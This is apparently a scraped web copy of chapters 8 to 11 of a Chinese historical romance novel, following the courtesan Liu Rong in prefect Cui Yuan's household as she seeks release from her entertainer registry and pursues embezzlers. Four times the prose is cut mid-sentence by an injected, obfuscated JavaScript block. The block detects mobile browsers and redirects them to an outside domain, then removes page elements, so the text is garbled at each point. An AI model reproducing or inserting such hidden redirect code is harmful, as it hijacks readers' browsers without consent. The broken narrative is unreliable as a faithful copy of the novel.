清晨一大早,她打了盆井水,换下琴身松动的琴轴。 水镜倒映着盛开的榴花。 益州近了,一条不一样的路在她眼前,如画卷,徐徐展开。 8. 益州 然而才到崔府,崔元就给了她个下马威。 仆人倒了茶。 良久,跪坐在次座的柳茸才听见头顶传来的声。 “崔府也不是什么人都收。” 原本给她赎了身就该无交集了。 几个家仆都是自幼跟着崔元的老人,年岁比他和柳茸加起来都大,其中一名老妪上前拎起柳茸的胳膊,崔元撇着碗盖呷茶,视而不见。 “躲什么,给你上药。”老妪移开柳茸格挡身前的手。 冰凉的药膏触到手臂上,疼意顿时减轻不少,卸秦琴时一根线崩然断裂,划伤了手臂,这点她连小青都没告诉。 她低眉顺目,细细等着药膏抹匀,偶尔因药膏凉辣抽动几下腕臂。 待药膏抹匀,堂上的人发话了,“想留在崔府就要守我的规矩,宵禁灭灯,过午不食,书阁禁入。” 想起前生他身陷囹圄时的肺腑情话,又望见此时堂上不显山、不露水的冷面,一股滑稽徒生,柳茸转低眼,掩住情绪,“知道。” 好半晌,崔元声色不动,放下茶碗,“你会什么?” “懂诗书吗?” 柳茸点点头,“自幼嬷嬷教过我。” “好,我说,你写。”他屏退众人,搁下一张纸,一支笔,一块砚。 未几,一篇请示帖缀着墨香而成。 落款、格式、起头……崔元逐一扫过,毫无错落,心中的怀疑又加剧几分。 就连官府的差役每次布告时也需几人审核,以免书面纰漏,一个从未踏出留春台半步的商伎初写竟熟稔老练。 帖子被利落一收,凌厉而探寻的眼风已经打到了柳茸身上,“你在何处学的?” 他生疑了。 柳茸一顿,搁笔的手微颤,“往日接待过一些官人……” 身旁动静寂了,她顺着说下去,语气比烟霞还淡,“耳濡目染便学会了些。” 几声鸟鸣过后,堂内静得出奇,崔元蹙着眉,于旁人看来,大抵是在嫌弃她的过往吧。 可他又偏偏问了一句,“你为了活下去一直什么都干吗?” 嗓音微涩。 他或许真想问的不是这个问题,但,不重要了。 “是。” 柳茸答得没有迟疑。 为了活下去,她什么都干,唯有此她无以自辨。是事实,不是么,不然杜攸之也不会存在。 没什么好否认的。 当眼前给你的菜只有一盘时,人就是不能挑食的。 贞洁啊、名声啊、清誉啊,在饿成皮包骨的人面前都没一碗热腾腾的糙米来得实在。 她看不见崔元潜在墨色眸子下的想法,不知他在想什么,直待岸头香炉都落下一大截断香,唤来府内管事。 “取东西来。” 东西看起来有些年头。 蜡黄的纸页、残裂的边缘,打横写着三个字——照身帖。帖主:柳氏女茸,籍:乐籍。 柳茸的手心稍稍淌出汗,沁湿了攥在手中的纸。 两世了,她第一次见到自己的照身帖。 从鸨母手中要回卖身契后,崔元顺带取了她的照身帖,交由她自己保管。 日头有点昏,她恍惚地收好,对那人道了声谢。 “此帖还予你,但官署备录你仍是乐籍。” 乐籍…… 柳茸眼中流过一丝失落的掠影,又很快收拾心情,喃喃地点头,“奴知晓了。” 崔元没再多说,只叫管事将她带下去安排。 末了,呷茶的手一滞,对她道:“日后对我不必用谦称。” “姑娘真实诚,放心,此地是崔府,不用谦称大人也是不会问罪的。”跟管事退出后堂,年迈的老人回过身子,笑意从褶皱溢出。 他是崔府老人了,随崔元调任前来益州,一路上半敲打半寒暄地跟柳茸提起长安的过往。 博陵崔氏数代宰执,子弟繁茂,受家训熏陶忠义孝悌,皆是儒门文士,可惜好竹生歹笋,崔元,恰好是个不忠不孝的种。 妄言民胜于君,不忠,忤逆本家叔祖,不孝。 大士族为免子孙遭人毒手、病折早夭,大多会刻意混淆年纪、性别,或拜道观佛寺挂名修行,崔元便是从小当女孩儿打扮庇养于深宅,养到了舞勺之年。 后大病一场,父母送入佛寺带发修行,佛寺旁有不少耕地,几年后崔府来接人,在田里寻到了拨土种麦的自家公子。 渐行渐远中,柳茸回望一眼,那身坐在后堂饮茶的白衣已消失在视野。 那个人很少谈自己的过去,每个人对他的评价都是寡言少语,但张嘴就能气死长辈,几次长安的崔氏来人都是说服他随族人站队,被崔元以农忙请了回去。 比起簪缨世家贵公子的盛气凌人,她印象里,是崔元采莲蓬回来沾着灰河泥的面容,头上还顶着一擎遮阳的荷叶。 管事唠叨了半日,略有惊讶,崔府不算小,新人多带着惧意打探观量,眼中是怕迷路的谨小慎微,可这位新来的女郎没有,仿若故地重游般平静。 “就送姑娘到这儿了。”将柳茸送到后院,他打算离去,听见清脆的女声回应他。 “刘管事,保重身体。” 她似乎看了自己好长时间,但她怎知自己姓刘? 送走管事,柳茸坐在榻上,打量起了榻周不大却又熟悉无比的小院。 她的行李被工工整整打包在榻上,对门的房间属于厨娘秋姨,门外的天井中仆役们晾晒的衣物滴着水。 于崔元而言,自己只是个顺手带到崔府的人,自然不会有什么特殊的优待。 柳茸取出照身帖,轻嗅着边缘,看了又看,指甲陷进掌心肉里。她不仅要在这一刻活下去,更要在几年后的变乱中活下去。 很多很多的人是。 他也是。 * 在崔府做事的日子里,柳茸偶尔出去,经过糖铺走了几步路,一座吸睛的朱门宅邸檐角高飞闯入眼帘。 柳茸定在原地,徒然一抖,身子不禁开始幻痛起来。 那座宅邸,烧成炭她也认得,是贾侯爷的。 她做家伎时最煎熬、最不堪的记忆源自那座飞不进光的高门大院,源自里面不把人当人的贵胄。 身躯过去承受的折磨、贾侯爷暴怒时的嘴脸、统统追随着凌乱的记忆纷至沓来。 柳茸后退一步,一件清凉的物什抵住她摇晃的身形。 崔元放开支撑柳茸后背的斗笠,扶住险些眩晕倒地的人。 那张毫无血色的脸上,下唇咬得发白,明显不对劲。 “出事了?”他搭上她的脉。 看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好一个自己选的。杜攸之气笑,“崔刺史知道若我将她带回府中会如何?我会替她销籍从良,娶为杜家主母,而今她在你府上还是贱籍!” 崔元乜一眼,“你真确定你会给她销籍?” “不应该吗?” “听闻令尊光是前月就买了五名家伎,全脱籍了?果然是子肖其父。” 茶碗重重放落,杜攸之眼中全是崔元对子骂父的雠恨,“崔刺史不愧是崔氏子弟,博陵崔氏儒门文林,后辈当街强抢商伎,倒是家风清正。” “谬赞。”崔元纠正,“但不是我抢,倒像是柳姑娘拦街抢我。” 一句话刺中杜攸之,摆明了在提醒他柳茸是如何走的。 杜攸之干笑几声,抚平几近破音的语气,促长的眼眯起,“刺史大人既不纳妾,府中又无家伎班子,留她在府上,杜某实在看不懂,不怕人言毁刺史清誉?” “与我何干。” “杜攸之,她不见你,你说你不知是什么缘故?” 崔元起身,“因为你,的确不如我。” 9. 她是? “这样说可以了?” 蜡炬半灺,崔元低眸问着纱衣垂地的女子。 白日的骚乱化作一摊泼出去的茶水,晒干散逸。 另一个男人的动静尚在崔府门外未走远,柳茸恍若未闻,提起皓腕理了理崔元的交领。 “公子说得很好。” 她在夸赞,夸赞她授意下他对杜攸之说的话。 崔元又问:“你真不去见他?” 柳茸一诧,微笑,“公子不是已经替我见过了吗?” 要是杜攸之见到自己,能想象,怕是更不肯放手,不见不可怕,见了要不到才更馋人。 邀月亭外,刘管事上前复命已送客归,但是杜攸之闹的阵仗不小,府周围有了闲言碎语。 崔元眉宇间严肃起来,命人封锁消息。 “你回答我,今日杜攸之的事府上有多少人知道?” “小青她们知道了。”柳茸如实相告。 “不要告诉更多的人。” “好,”她想说什么,嗫嚅着唇,“我不会让旁人评说公子的。” 哪知崔元来了句,“旁人如何说我是旁人的事。” “……我担心的是你。”凝眉的男人转过头来,注视着她,眉逐渐凝起,颇有几分无奈。 “杜巡使找来,免不了有人嘴碎,名声?”他眼中泛起自嘲,“对我没什么用。” “何况他们说的是实话,我确实在勾栏院和杜攸之对峙,但你,”顾虑的目光错落在柳茸身上,“你不怕受影响?” “我本来就是乐籍啊公子。”这点闲言碎语,柳茸早已免疫。 崔元如遭一棒,从自言的幻境中拖回现实,“是啊,差些疏漏了,你不是良籍。” “杜攸之有一点说得不错。”他倚向廊柱观水,背对着她。 “我留你在府上,一不纳你二不娶你。没替你脱籍,你怪我吗?” 柳茸没想到他主动提起脱籍,心突跳了下,很快恢复笑容,“公子的行事自有公子的道理。” 言下之意,她不在意。 崔元回头望过来,在她脸上找寻着粉饰的痕迹,最终斟酌开口。 “我不能娶你。” 一语落,柳茸意料之中,心境奇异地平素,高门士族最重门第,不意外。 但亲耳听人从口中说出,还是像一根小银针刺进了绵里。 不疼,就是莫名会感到一根针而已。 娶妻纳妾是最便利的脱籍契机,凭此脱籍不难,她能想到,崔元不会想不到。 “因为我是乐籍嘛。”柳茸笑着寒暄。 跟着杜攸之、贾侯爷时,自己也曾雾里看花地期望过以后宅作踏板,谁让那是一条普世公认女子最速达最享福的捷径,当真走过一趟了才晓得,捷径通往的,往往是更狰狞的泥泞。 这样的期望昙花一现,早被她掐死心底。 现在的她不想重复走过的歧路,也没构想眼下的路要通往何方,如何落脚倒是有了着落。 或许先脱个乐籍,爬得比现在高一点点? 嫁人从良的幻想,她放下了,放下了,也就能一身轻地当谈心聊起。 然崔元道:“是因为我。” “是因佛门戒痴戒色吗?” 他凛色瞥过来,柳茸不慌不惧地解释,“府里的老人说公子幼年师从佛门。” “佛门是佛门的事。” 这下柳茸听不懂了,直到清酒般的声音再次进耳。 “你若非心甘情愿与我共度,便是我趁人之危,我若只因成亲而成亲,便是负了我未来的妻子,所以,我不能娶你。” 酉时的打更声喊过三巡,一颗菩提落入柳茸心脉。 “公子,”她开口问,心中已然有了揣测,“你是不是想出了我的脱籍之法?” 此前在府中帮忙代笔的种种、初来时被派去整理一堆“难分难舍”的卷宗、都不似分给普通婢女的活。 一个念头在心里萌芽。 前朝的蜀地,有过一代名妓,因才情以清客身份入主家幕府,后被请奏封校书郎,虽迫于旧俗被驳回,却准许脱了贱籍。 她想,她和崔元想到了同处。 崔元没有否认,“益州从前积敝旧案颇多,明天收拾好东西,随我去。” 灯火渐熄,他的眉眼仅靠月色照着,笼上一层惨白的霜色,惨白地有些熟悉。 柳茸怔神了下,想不起在哪见过。 “公子,我们可曾见过?” “从未。”他拦衣起身,步出邀月亭。 “那你,为何愿意帮我?” 素白的身形顿了顿,“因为我是官。为官佑民,为政亲人,自是常理。” 见她疑惑怎么端的说起为官之道,崔元的神宇柔和了些,“你也是万民之一。” 她也是民。 无论勾栏商伎、姬妾婢仆,同属万民。 柳茸缓悠悠落座,眼神清浅。见多了被攒爱民如子却妻妾成群的官,习以为常后,连她自己也时常理所当然将自己排除在民的范围内。 那些惠民及利的布政永远纵马掠过,忽视她们。她们不是人。 进勾栏院喝花酒的不乏先天下忧而忧的名官,高谈阔论着哀民生之多艰,杯中酒斟个不停,涕泗涟涟叹百姓实苦,怀中倚红偎翠家伎照买不误。 过往觉矛盾之处茅塞顿开,柳茸潜心自在梳理着心结,另一疑窦又生,为何谁当天子都不愿用崔元这般的循吏呢? 天子九五至尊,目望不到民间,五位夺位的皇子也金枝玉叶,平生尝过最苦的怕只有御医的药汤,任谁即位也不过是维持原样,宫中水娇,养不出百姓渴求的君主。 若自己是天子…… 念头萌发一秒,柳茸迅速拍散,默念着大不敬。 这夜的风很安静。 比翌日晒脱皮的日头好多了。 柳茸是这么想的。 毕竟谁能想到崔元说的整理旧案竟真是边下地边探查。 天热得很,遮阳挡不住的热,两条臂膀快被闷成蟹肉。 她抱着半人高的“竹夫人”,倚在树荫下守卷宗。 民情体察累了,崔元从田里翻身上来,坐在草席歇息,抬着晒红的脸与她说事。 录事官放值不在,稻禾香里,柳茸便是录事。 翻土的草味暖暖漫在暑天里,和墨香混杂,仿佛回到了前世最惬意的时候,那时他们也是如此,在田野吃着石榴。 那时他是不是已想好自己脱贱籍的法子了呢? 可惜死人开不了口告知答案。 崔元发现她的目光,放下唇边的葫芦水瓢,薄唇冷峻,唇珠饱满,水珠挂在反差鲜明的一张唇上,凝聚下颌,沿顺着脖颈脉络下滑,在白衫与前胸相交之地沁成微小的阴影。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763442|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你想喝?”他递过水瓢,柳茸舀了一瓢饮下。 “这不是水?” “我加了凉药。”崔元撇开外衫,叠整放在树下。 田里的老农吆喝着新来的小伙继续搭把手,崔元应了声,不一会儿,白色的中衣也解落在地。 柳茸识趣地移下眼珠子,数滴珠液或是汗,随主人除衣的动作滴在褐黄的地上。 想来是刚刚划过下颌的瓢水,因为无意溅在她胸前的,是清凉的,加了凉药。 俯下头,半红半百的肌肤间,沾着碎晶状的小水珠,凉意消褪,她抽巾擦去。 水牛哞哞叫着,崔元在日头落山时又坐了回来,穿好衣物,回府头一件事便是听柳茸整理的卷宗总结。 益州很大,光是锦城便不可能凭一个人查完全部政务,崔元事事亲为也有做给底下散漫的官吏看之意,上头动了,下属方神色紧张地跟着勤快。 崔元仔细听着每一份卷宗,偶尔神容不悦,硬生生地评事。 “京师调拨的帑银限他们五日算清,算不清者,按贪墨论。” 每当府中夜灯寂寥时,唯一亮着的那盏便是崔元书房的灯火,柳茸掌着灯,看他挽着袖笔笔落下的润墨,暗自将事物记在心。 二更天,府内已起鼾声之时,烛火一分为二,隔着莲花池往相反的方向点亮两间房。 随后,是彼此的沐浴水声。 五子夺位的事愈演愈烈,所有人都说不出一年就能尘埃落定,轻快的气息里,柳茸心底打起了鼓。 看向崔元,他的气宇漠然不关己,目光凝在益州的粮仓收成上,眼睫似一片片稻田浓密。 “看着我做甚?”崔元注意到她的目光。 “我在想,往后的天子是公子一般的人物就好了。” 他讶异地笑了,“我不适合做天子。” “那公子可有人选?” “你试探我?”崔元收起笑意。 “我说笑的。”柳茸知自己说错了话。 “除非能令我心服口服,我才会择人为主,那五个人,”说话间,他略微鄙夷,“还做不了我的主。” 前世,他宁在牢中触墙而死也不愿从服任何人,但柳茸知晓后果,凭崔元倾尽全力稳住的益州亦会随他的死打破宁和。 她还想活下去,不想跟着同死。 可她该如何告诉他?如何劝? 她想思来想去,心绪逐渐浮到了脸上。 “阿茸。”崔元少见地如此亲昵地唤自己,柳茸一个抬首。 “有酒吗?”他眉眼微弯,舒缓着僵持,接过烫酒走到廊下醉饮。 前尘往事又入梦,稻田、丰邑没有了水,变成干裂土地,长不出一颗谷物,她混在讨饭的队伍里,和多年前一样要着最后一碗粥。 柳茸又被惊醒,翻来覆去睡不着。 崔元不会改变心意的,益州刺史崔子白不会站队任何一位夺位的皇子——她很清楚。 哪怕将前尘说与他听,他也不会妥协半步,不会向最后的赢家燕王示好。 柳茸的心笃笃响着,她也曾在做事时旁敲侧击,没有用,难道要这样看着重步前尘? 荷叶在风下相倾,她伸出两指,叩响了崔元的寝屋。 门开了,里面的人湿着半身,大概方才出浴,衣摆侧残留着一团揉皱的褶皱,像是经过攥紧又松开般,看见她的脸,略微愕然。 10. 怪梦 好半晌无话。 “睡不着吗?”崔元的发梢滴着水, 他眼底瞬息间的暗涌未逮掩藏,夜气一漫,和水雾划归于无,仿佛方才的慌神只是错觉一场。 柳茸半只脚跨进门槛。 “别进去。”崔元冷声拽住她,“就在此地说。” 屋内的灯光被屏挡,她这才注意到,挡在身前的人亵衣上不和谐的褶皱,像被手揉过的团花。 “我替公子取熨壶来。” 崔元想制止她,不消半刻人已提着冒汽的熨烫壶亭亭立在门边,豆粒大的油灯在屋内奄奄熄灭。 待油灯重新亮起黄豆般的火,崔元换了身干爽的新衣,屋内被简单收拾了下,崔府陈设简略,三页屏风隔开浴桶,氤氲的水痕还是从木屏底湮流了出来。 “你还会熨衣服?” 崔元跂坐案边,望着伏案熨亵衣的女人。 曛黄的光打下来,她的背影如一屏玉山。 看了片刻,他往胯间随意盖了层白巾,“玉山”恰时回头:“我第一次熨。” 商伎不亲自洗衣做饭,衣物交由勾栏院的龟奴、侍女打点,那名叫“阿宝”的小龟奴每日鸡鸣便烧上一壶水,替她熨衣,柳茸隔着镂花窗下眺,见他冲自己一笑。 看多了别人熨衣,照猫画虎模仿下不难。 “无事不殷勤。”崔元轻声道,话虽硬,却没有任何责备的愠怒,反倒有些温缓,只是今夜这温缓比平日更为软些。 “下次不要夜半闯我房,我立的规矩不是死的。” 崔府规矩之一,宵禁灭灯。除非公务在身,宵禁后不得点灯随意走动。 柳茸蜻蜓点水般揽起亵衣,“衣服熨好了,公子要穿吗?” “放着。”崔元叹了口气,“找我什么事?” 她咽咽喉,终于开腔:“今夜同公子的谈话,我放不下。” “公子,你说过我也是万民之一,此话还作数?” 崔元刚要拒,听见她的话息声片刻,“……作数。” 轻盈柔软的事物裹住他的指尖,崔元朝下一看,是她的掌心,她笑得柔媚,“那身为州官,不该听一听生民的想法吗?” 崔元指尖木然,僵了一刻快速抽回,直截了当,“我不择任何一王为主。” “我没想劝公子择任何一人为王,只是……”她的手勾来,挑开他碍事的无名指,“若公子不想择木而栖,就要在益州早做打算。” “你想说什么?”崔元眯着眸。 覆盖的手随铃音般的笑撤去,如潮汐退潮,取而代之的,是根凉竹状的物体塞入崔元二指中。 “白日在录事的卷宗上发现了些小问题,想请公子重下一令。” 崔元定睛一看,手中是跟笔杆子,“你只是来递笔的?” 柳茸点头,他低头视着笔,轻搁回案上,“卷宗有什么问题?” “京城年年拨至益州的帑银调度都有记录,可是仁平三年至五年的却消失了,提注是连备本也失火烧了。” 相信崔元一早意识到出了何事。 “你怀疑有人贪墨?”崔元察觉到她的暗指,他不是没揣度过。 “公子虽不择王,但手下若有这样的人,怕是最喜欢‘良禽择木而栖’的。” 崔元为官清廉,不站任何一队,对百姓而言,他是一位好官,但对官场同僚而言,他是个没有把柄的人。 没有把柄便不受人钳掣,也即意味着他不会是自己人,不是自己人的人坐在上位,底下的贪墨之官无不盼他倒下,必然愿与其他肯分利的势力里应外合。 官清似水,也难逃下方吏滑如油。 柳茸报出往年管理帑银调拨的人名,见他眉头紧锁起来。 “公子有疑虑?” “这些人我已派人手去交涉,今夜刚呈的报。”一本禀帖甩在案上,崔元揉起眼眶骨,“没一个能用的。” 崔元来益州带了些自己的人过来,本地官僚见到博陵崔氏也会给几分面子,但不是打哈哈就是圆滑避来避去,加之陈年旧事死无对证,姿态是千低万低的,事是行进缓慢的。 柳茸合上禀帖,“倘若我能帮公子要到私吞的帑银呢?” 崔元睁开眼,目如寒星,与她两相对望。 柳茸垂着眼,“我出身勾栏院,平常去接待的三教九流、官差府吏什么样的人都有,如何与这些人周旋的手段自是也学了一二。” 听见勾栏院三个字,崔元唇齿翕动,他的目光聚在女子空落落的袖侧,腕很细,几近无肉,再往上,她的肩膀竟瘦削至此。 如荒年尽头、颗粒无收的麦田里啼哭的孩子,抖擞的肩膀一拆就散,是那么无力,撑不起一片飞鸿。 崔元道:“派去的人可都是谙熟官场的吏员。” 她垂下的眼抬起,“我也不一定比他们差。” 柳茸知晓,摆在眼前供自己挑选的机会从来是很少的,上天对她的垂怜吝啬到几乎没有。 哭没有用,想没有用,等人派事也不定等到何年何月,她不自己求,不自己动,便要等上更久的时间。 “公子既不信我又何故留我做事,即信我又何必疑心我?” 崔元一时无话。 “若公子只是一时兴起实则本无意柳茸插手,不过是当陪侍,哪日腻了、尝够教伎子学书的乐趣了,便让柳茸自请出府,去寻活路。” 崔元的脸色越来越黑,听到最末一句,眼神锋利,“去哪儿?” 她落寞道:“哪里有活路就去哪儿,大不了回勾栏院,公子卖了我还能换些……” 气息被打断,柳茸拿下摁在嘴上的文书。 “不必以此事吊着我,即使公子直说我也……” 她的唇被捂住,崔元没收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763443|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力道,连鼻一块捂了,等手臂传来轻捶的力道才发觉自己的手占了她大半张脸。 口鼻重新通畅,柳茸顺着气,上方传来崔元的声音,“这可是你自己说的。” 自己?说的那句话? 她吐开吸入口中的青丝,“公子要卖我?” “说了帮我要到私吞的帑银,”他给她这个机会,“时限半月。” 半月太短了,柳茸讨价还价,“一月。” “十日。” 她按住他的衣袖,“那便十日,公子答应我的。” “十日之内,我派府兵跟着你,府内府兵任你调遣,若十日事未成,”崔元看着那段瘦削的臂膀,“不要在那些人宅院作逗留,也不要动武。” “若事成呢?”柳茸问。 “论功行赏。” 她摇首,“事成之后,我不要公子任何分赏。” “——唯愿早脱乐籍。” 那还是横在她心头的一把刀,她几辈子想挣脱的铁笼。自由在天地间,归尘归土,那是她被卖后幻想过的梦,是儿时过到乏味的日常。 失去过,才比寻常人更为执念。 灯火凄清下去,柳茸离开屋门时,崔元念念着她最后的话。 “唯愿早脱乐籍……” 说出此话时,她的容色似淬火里捞出的灼玉,渴念、不甘、静谧中紧凝着欲求,让他想起漠北草原见过的骏马,疾驰向水源,心无旁骛,眼中映着万里绿茵。 或许她本就该如骏马般奔驰在这片大地上。 究竟是何等遭遇才另一个女子瘦骨嶙峋至此?她之前的生活一定过得不好。 她在指尖的弹拨、覆上手背的掌心,轻佻中带着旖旎,那是要经历多少男人才练就地熟稔自然,他们昔日对她好吗? 崔元摇摇头,怕是不好。 不然便不会一举一动张弛自如,熟练到看着心疼。 他朝□□望去,一言不发捡起掉在地上的白巾,扔进热气散尽的浴桶,反正水已脏了。 事务劳心时崔元会着衣在水中多泡片刻,半梦半醒,而后被积案的公牍、青黄不接的粮仓给惊醒。 但今夜惊醒他的却是一道女子的鸾影。他梦见杜攸之,梦见她,梦见她未被赎身时在留春台上与之缠绵。 留春台外稀奇古怪地变成自己幼年长居的寺院。 他起初视而不见,坐在蒲团打坐,敲鱼念着心经,门内的声响愈烈,他口中的佛经愈密,似乎这样就能听不见,敲着敲着,身下的蒲团变成了她。 情到浓时两声叩声将他唤醒。 那场水中的梦,留下一摊淤泥就灵蛇钻洞般隐逸不见。 崔元惊异自己怎么会做这种梦,痛斥着自己,无由来地荒唐、厌恶又不住回甘。 开门,好气又好笑。 才做一场荒唐梦,梦中人便出现在门外。 11. 拜佛 心情雀跃地整装待发,柳茸向刘管事领了张调用凭证,带着小青便往府兵操练的校场上赶。 临走前秋姨不放心,给每人都备了满当的肉饼。 小青提溜着眼珠子看柳茸手中凭证,“这和姆妈使唤龟奴有差么?” 她在故意激自己。 柳茸也不恼,“这可比姆妈使唤龟奴管用多了。” 一听比鸨母使唤龟奴还灵,姑娘似懂非懂地高看了几眼。 来益州多时,小青不像初来时抗拒,但心里仍在嗔怪,在勾栏院接客包不准能图撞个富贵公子,如今身无分文被赎出来,和叫人记不住脸的丫鬟下人有何分别? 她怪着柳茸,自顾自赎自己出来。 “就不能不辛苦、不努力也能过得好吗?”每次柳茸教她学字,她都瘫躺着努着嘴。 “以前多好,躺在榻上动几下那些猪一样的男人们大把大把交钱!” 柳茸轻掌她一嘴,警告她再说罚抄书。 “阿姊你看,府兵竟有女子!”小青指着校场上正在弄枪的府兵,“她好壮硕啊,我从未见过如此腰粗的女子。” 府兵旨在护送崔氏子弟与维护阖府安危,气宇间便要震人,能担此任的女子必不可能弱不禁风。 这次调派府兵本不用柳茸亲自来,而是默认抽调,是柳茸提出了亲自过目。跟崔元做事久了,她悄悄偷师,学着亲力亲为。 如今是试一试的时候了。 她从校场亲自抽人,一眼相中了那名女兵,正要问名字,一阵骚动,几十双齐刷刷望向马厩。 原是校场挨着马厩,小青孩子心性,看到马匹忧郁一扫而空,兴冲冲想去喂马,生人靠近,府上的马见不是主人,撂蹄子将姑娘吓哭。 被人搀扶起时还抽噎着,“我不过是想骑马。” “小鸡仔可骑不了马。” ——高亮的女声,是那名被点出列的女兵,她的容貌略带异域,肤色如麦,红扑着脸一笑,多肉的嘴角咧开八字纹。 “再吃壮点你们就能骑马了。” 小青愣了愣,呜咽出声,“阿姊,她咒我们胖。” “胖点多好,”女兵一脸理所当然,“你们两个太瘦了,秋姨不给你们饭吃吗?” 秋姨听罢,气得回屋抄了几盘大锅菜。 女兵走向柳茸,“你就是阿脏带回来的人?” “阿脏?”柳茸对不上名字。 刘管事?浣衣的吴孃孃?半天才反应过来是最不可能的崔元。 “是啊,阿脏,”女兵拍干净手,一面示范着如何喂马,一面闲聊,“他当初流浪到我们部落时可脏了,我阿父洗了三日才洗干净他。” 柳茸:“刺史流浪过?” “说是他那光头师父的要求,他醒了就开始和我父亲探讨佛法,我阿父还挺喜欢他的。”女兵亮出脖子上挂着的佛牌。 “但后来我阿父就不喜欢他了,他老说些利民啊、大同啊,听不懂,也没人理他,”女兵目光转向柳茸,似感官迅敏的狮子,“我觉得你能听懂他在讲什么。” 柳茸盈盈一笑,“还没问女郎姓名。” 没人不喜欢美人冲自己笑,这笑女兵很受用,“我叫叱罗红花,我们那儿好看的姑娘都叫红花。” 红花喜欢骑马,骑腻了草原的马儿,父亲托故交崔元给她谋份好差事,来做崔元的府兵,骑中原的马。 “小青,你从前见过刺史大人吗?”柳茸望着不远处,一片昏鸦飞过官署,稍带斜阳。 那双远山样的眉眼,似在何处窥过,可如此有印象的人,自己若见过,断不会忘。 “见过。”小青舔着红花送的糖人。 柳茸淙淙目光移过来,静听她的回答,听得她咂巴了下嘴,“前日刚见过。” 闭目,不气,“没事了,走罢。” 她今日走街串巷,探查了不少实情,待明日,就要正式敲门“拜访”。 各州向京城献贡赋,国库也会调拨帑银补济各州,可总有那么多烂账坏账难查,帑银用了、少了记得含糊其辞、不清不楚,最终不了了之。 仁平三年至五年,益州的帑银不知用在了何处,也不知去向,当时记录的录事官也病故,追查起来确实难。 分明锁定了几方官吏,但对方开门迎客,摆足了能奈我何的架势,见来的不是刺史是柳茸,更加小觑。 “早听闻崔大人身旁有位女伴读红袖添香,今日一见真真冰肌玉骨。” 李员外谄笑着,话里话外喝花酒般的调戏,一只手有意无意伸向柳茸的皓腕揩油,被崔府府兵一棍劈挡。 “女郎这是何意?” 柳茸轻放茶盏,红花一干人动手将李员外五花大绑。 “去搜酒窖。”她嘱咐。 “你们做甚!刺史的人就能为所欲为吗!无凭无据你们凭什么抓人搜家!我要上报刺史!” 柳茸不为所动,“等找到了员外贪墨的帑银,我自向刺史大人请罪。” “血口喷人!我家何来帑银?” 搜家府兵仔仔细细里里外外翻了个遍,就差没审问屋顶的脊兽。 一无所获。 人被松绑,李员外怒气冲冲要找崔元讨说法。 “真难听的话!”红花想起李员外招待时的话,刀磨得更锋了。 扭头一看,柳茸淡然饮着茶,她疑惑,“那人方才如此调戏你,你不生气?” “没什么的,再难听的话我也受过。” 柳茸不生气,因为犯不着生气,李员外的话或许连挠痒痒也算不上,旁人眼中再大的屈难,于她不过毛毛细雨。 受了多年的鄙夷与指摘,她的心已对此此掀不起一丝波澜。 红花佩服,不愧是成大事者,“换作我,他的手指早没了。” 佩服过后又掺着后知后觉的怜惜,红花打量着眼前的女子,身形秀长,长得也是一朵红花,居然有人忍心口出恶言? “阿茸,是不是很少有人对你对说好话?” 柳茸略微困惑地嗯了声。 “没关系,以后我说给你听,再不济,让阿脏也多说给你听。” “他?” “对啊,他不是你们的父母官吗?不是最喜欢说民为什么什么本吗?正好,他践行道理的时刻到了。” 柳茸蓦然轻笑,“这不一样。” “哪不一样? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15763444|174488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他若连一个姑娘的心也逗不乐、说好话的本事也没有,能有什么能力当官?” 柳茸笑出声,红花没觉着哪说错了,“真的,菩萨都要日行一善呢,他不是信吗,这不算日行一善?好话说说又死不了人,还救人,功德比他烧一百柱香都大。” 说着,红花想到李员外,搜家的人在他府上帑银没发现,发现了一堆金塑的佛像,满天神佛挨个拜。 她可不觉得神佛会庇佑此人,“菩萨见了他剁他手还来不及。” 柳茸笑了,“你可千万别把他的手指剁了,我留着有用。” “知道,我们已经跟着他了。” 搜酒窖不过是障眼法,柳茸要得就是打草惊蛇,不一会儿果真有人传信,报李员外今夜去了城郊外宅。 传信之人是李员外养在外宅的外室,但今夜,外室将他卖了。 外宅附近的李氏祖坟里,李员外和几名族人灰头土脸从坟堆里背着金银钻出,半路拦截的崔府府兵将之一网打尽。 